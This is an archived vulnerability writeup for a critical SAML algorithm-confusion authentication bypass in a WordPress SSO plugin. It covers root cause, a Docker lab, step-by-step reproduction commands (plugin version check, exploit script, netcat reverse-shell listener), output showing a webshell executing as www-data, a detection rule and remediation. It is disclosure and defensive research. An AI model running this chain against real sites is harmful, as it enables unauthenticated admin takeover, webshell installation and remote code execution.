miniOrange SAML SSO Signature Algorithm Confusion Authentication Bypass (CVE-2026-15013)
Published: 2026-11-27 • Researcher: Efe Gungor (zer0dayf); vulnerability discovered by lhking, coordinated by Wordfence
- Severity
- Critical
- CVE
- CVE-2026-15013
- Category
- web
- Affected product
- miniOrange SAML Single Sign On – SSO Login plugin for WordPress (miniorange-saml-20-single-sign-on)
- Affected versions
- All versions up to and including 5.4.3
- Disclosed
- 2026-11-27
- Patch status
- Unverified
Tags
References
- https://www.cve.org/CVERecord?id=CVE-2026-15013
- https://www.wordfence.com/threat-intel/vulnerabilities/id/ee95092d-6351-4612-872d-284165bc1201?source=cve
- https://plugins.trac.wordpress.org/browser/miniorange-saml-20-single-sign-on/tags/5.4.3/class-mo-saml-utilities.php#L416
- https://plugins.trac.wordpress.org/browser/miniorange-saml-20-single-sign-on/tags/5.4.3/class-mo-saml-login-validate.php#L119
- https://github.com/zer0dayf/CVE-2026-15013
Archive entry
intelseclab/poc-archiveOn this page
Metadata
| Field | Value |
|---|---|
| Date Added | 2026-11-27 |
| Last Updated | 2026-07-27 |
| Author / Researcher | Efe Gungor (zer0dayf); vulnerability discovered by lhking, coordinated by Wordfence |
| CVE / Advisory | CVE-2026-15013 |
| Category | web |
| Severity | Critical |
| CVSS Score | 9.8 (CVSS 3.1 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Status | PoC |
| Tags | WordPress, miniOrange, SAML, signature-confusion, HMAC-SHA1, authentication-bypass, unauthenticated, account-takeover |
| Related | N/A |
Affected Target
| Field | Value |
|---|---|
| Software / System | miniOrange SAML Single Sign On – SSO Login plugin for WordPress (miniorange-saml-20-single-sign-on) |
| Versions Affected | All versions up to and including 5.4.3 |
| Language / Platform | PHP / WordPress (Apache), any host OS |
| Authentication Required | No |
| Network Access Required | Yes (HTTP/HTTPS to the WordPress site and the IdP) |
Summary
The miniOrange SAML SSO plugin for WordPress trusts the signature algorithm named inside an attacker-supplied SAML response. When the assertion declares HMAC-SHA1, the plugin treats the identity provider’s public RSA certificate as a shared HMAC secret and validates the forged signature with it. Because IdP certificates are usually public metadata, an unauthenticated attacker can forge a valid assertion for any WordPress account, including an administrator. The bundled chain then logs in as admin, uploads a plugin webshell, and optionally obtains a reverse shell.
Vulnerability Details
Root Cause
The plugin helper mo_saml_cast_key() reads the SignatureMethod Algorithm attribute directly from the SAMLResponse parameter instead of enforcing the locally configured signing algorithm. If the assertion specifies HMAC-SHA1, the IdP RSA public key is recast as an HMAC shared secret, and the attacker-computed HMAC over SignedInfo is accepted as valid. The attack therefore bypasses XML signature verification entirely without access to any private key.
Attack Vector
An unauthenticated remote attacker sends a POST request to the plugin’s Assertion Consumer Service endpoint containing a base64-encoded SAMLResponse. The response carries an assertion for a chosen WordPress username and an enveloped HMAC-SHA1 signature keyed with the publicly available IdP certificate. RelayState is set to the WordPress admin area.
Impact
Successful exploitation yields a valid WordPress authentication cookie for the targeted account. When the target is an administrator, the attacker can install a malicious plugin and execute arbitrary PHP code, leading to full site compromise, data theft, and remote code execution under the web server account.
Environment / Lab Setup
OS: Linux with Docker and Docker Compose
Target: WordPress 6.4-apache with miniOrange SAML SSO 5.4.3
IdP: Keycloak 24.0 (for metadata and certificate)
Attacker: Linux workstation with Python 3.10+ and openssl
Tools: python3, requests, lxml, openssl CLI, curlSetup Steps
| |
The Docker file pulls the official vulnerable plugin build 5.4.3 from downloads.wordpress.org and enables it inside a WordPress 6.4 Apache container. The compose file adds MariaDB and Keycloak for a complete SP/IdP lab.
Proof of Concept
Step-by-Step Reproduction
Detect WordPress and the plugin — confirm the site is WordPress and read the plugin’s readme.txt stable tag; the version must be 5.4.3 or lower.
Shell script1curl -s http://127.0.0.1:8080/wp-content/plugins/miniorange-saml-20-single-sign-on/readme.txt | grep -i "stable tag"Discover SP and IdP metadata — the script queries the plugin metadata endpoint and the SSO redirect to learn the ACS URL, SP entity ID, and IdP issuer.
Shell script1python3 exploit.py -u http://127.0.0.1:8080 --no-shellFetch the IdP signing certificate — retrieve the IdP SAML descriptor, extract the X509 certificate, and convert it to a PEM public key; that key becomes the HMAC secret used for forgery.
Enumerate candidate WordPress users — the REST API, author archives, and feeds are used to collect usernames to target.
Forge the SAML response and log in — for each candidate, build an assertion with an HMAC-SHA1 signature and POST it to the ACS endpoint, looking for the wordpress_logged_in cookie and admin access.
Install the proof plugin — with an administrator session, upload the bundled plugin zip and browse the resulting shell to confirm command execution.
Optional reverse shell — start a listener and rerun with the callback address, as shown below.
Shell script1 2nc -lvnp 4444 python3 exploit.py -u http://127.0.0.1:8080 --lhost 127.0.0.1 --lport 4444
Exploit Code
See exploit.py for the full implementation and docker/docker-compose.yml for the lab.
| |
Expected Output
[1] WordPress @ http://127.0.0.1:8080
OK
[2] Plugin
version=5.4.3
[3] SP / IdP
ACS=http://127.0.0.1:8080/
Audience=http://127.0.0.1:8080/wp-content/plugins/miniorange-saml-20-single-sign-on/
Issuer=http://127.0.0.1:8081/realms/mosaml
[3b] HMAC key
cached /tmp/php-pub.pem
[4] Users
['admin']
[5] HMAC SAML login
admin → admin
[+] ADMIN as admin
[6] Shell
ok → http://127.0.0.1:8080/wp-content/plugins/exp/shell.php
>>> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)Representative output from a successful lab run; the issuer realm, ACS URL, usernames, and plugin version strings depend on the local WordPress and Keycloak configuration.
Detection & Indicators of Compromise
SIEM / IDS Rule (example):
alert http any any -> $HOME_NET any (msg:"Possible miniOrange SAML HMAC algorithm confusion"; flow:to_server,established; http.method; content:"POST"; http.client_body; content:"SAMLResponse"; http.client_body; content:"hmac-sha1"; nocase; sid:202615013; rev:1;)Remediation
| Action | Detail |
|---|---|
| Patch | Upgrade miniOrange SAML SSO to 5.4.4 or later, which rejects HMAC algorithms and enforces the configured algorithm. |
| Workaround | Restrict access to the SAML ACS endpoint where feasible and review IdP metadata exposure; monitor for forged assertion patterns. |
| Config Hardening | Enforce RSA-SHA256 signing in the plugin configuration, pin the IdP certificate, and require signed assertions from the IdP. |
References
Notes
Verdict: genuine, non-malicious exploit PoC. The repository implements the complete SAML algorithm-confusion chain against the vulnerable plugin and ships a Docker lab. It is an independent reproduction rather than the original discovery (credited to lhking), and no captured run output is included, so Status is recorded as PoC rather than Weaponized; the code was not executed during archival.
License: no license file or explicit license grant in the upstream repository; README limits use to authorized testing.
Limitations: exploitation requires a reachable IdP metadata/certificate (or a supplied public key) and a valid WordPress username; the chain also depends on the target allowing plugin uploads from the admin account. The bundled PHP plugin shell and the optional reverse-shell path are integral parts of the RCE demonstration, not separate malware; only the exploit, its requirements, README, and lab configuration files were archived (no repository metadata, compiled artifacts, or screenshots). Docker compose includes a Keycloak service but no preconfigured realm, so lab IdP wiring must be completed manually.
| |